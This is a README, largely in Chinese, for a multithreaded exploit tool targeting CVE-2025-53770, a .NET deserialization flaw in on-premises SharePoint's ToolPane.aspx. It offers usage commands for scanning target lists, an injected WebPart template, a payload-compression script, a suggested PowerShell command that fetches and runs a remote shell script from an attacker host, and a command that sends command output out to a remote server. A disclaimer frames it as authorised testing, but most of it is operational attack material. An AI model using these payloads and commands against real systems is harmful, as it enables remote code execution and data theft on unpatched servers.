
SharePoint WebPart Injection Exploit Tool
🍕 用于通过 ToolPane.aspx 进行 SharePoint WebPart 注入的利用工具,导致 .NET 反序列化并可能实现远程代码执行(RCE)。
开发人员: @GOTOCVE
该工具利用 Microsoft SharePoint(本地部署)中的一个漏洞,允许经过身份验证的用户滥用 ToolPane.aspx 端点并注入包含 GZIP 压缩的序列化 .NET 对象的恶意 WebPart。
注入的对象被放置在 MSOTlPn_SelectedWpId 参数内部,并嵌入到一个虚假 WebPart(例如 <Scorecard:ExcelDataSet>)中,该 WebPart 会被 SharePoint 后端解析并反序列化。
| 产品 | 受影响版本 |
|---|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
exploit.py针对 CVE-2025-53770 的多线程 SharePoint 利用工具。
/ToolPane.aspx 的访问YSLosf.exeLosFormatter Payload 生成器与反序列化器。
python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe 需要)你的 payload 必须满足:
DataSet、ObjectDataProvider)LosFormatter 或 BinaryFormatter 序列化嵌入到类似以下 WebPart 中:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosf 生成 Payload将你的命令(例如反弹 shell)放入 payload.txt:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
将输出保存到 payload-final.txt 并传递给利用工具。
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatter此漏洞 不会在响应中返回 输出(例如 ipconfig)。你必须:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
本工具仅供 教育和授权的安全测试 使用。
禁止在未经明确许可的情况下对系统使用。 滥用可能违法且不道德。
如果易受攻击的服务器接受了 payload 并回显了 MSOTlPn_SelectedWpId 或渲染了包含注入 WebPart 的页面,则很可能存在漏洞。没有输出表示反序列化失败或服务器已修补。
本工具 不提供或执行任何 shellcode、webshell。
它仅演示通过易受攻击的 ToolPane.aspx 端点利用 .NET 反序列化漏洞(CVE-2025-53770),使用包含 GZIP 压缩的 .NET 对象的恶意 WebPart 结构。
🔹 目的:帮助研究人员、红队成员和防御者检测易受攻击的 SharePoint 服务器,并使用 自定义 payload 安全测试注入向量。
🔹 Payload:该工具要求用户 自行生成 payload(例如使用 YSLosf.exe),这些 payload 作为 Base64 编码的 GZIP 字符串嵌入 WebPart 中。
用户有责任 选择适当且道德的 payload(例如无害的 calc.exe 执行、信标标记等)。
🔹 不包含反弹 shell / webshell:
虽然现实中的攻击者可能植入像 spinstall0.aspx 这样的 webshell,本项目不包含任何此类逻辑。
如果你计划发送反弹 shell,你 必须手动生成自己的 payload 并 对其使用负全部责任。
加入 Telegram 上的 @GOTOCVE:
由 Ali Soltani 创建
如需研究咨询或报告 Bug,请通过 Telegram 联系。
| 字段 | 值 |
|---|
| 组件 | Microsoft SharePoint(本地部署) |
| 端点 | /layouts/15/ToolPane.aspx |
| 参数 | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| 问题 | 不安全的 .NET 反序列化 |
| CVE | CVE-2025-53770 |
| 参数 | 描述 |
|---|
-u | 目标 URL(例如 https://sp.company.local) |
-f | 包含目标 URL 的文件(每行一个) |
-p | payload 文件或直接的 Base64 GZIP 字符串 |
--proxy | 可选代理(例如 http://127.0.0.1:8080) |
-t | 超时时间(秒,默认 15) |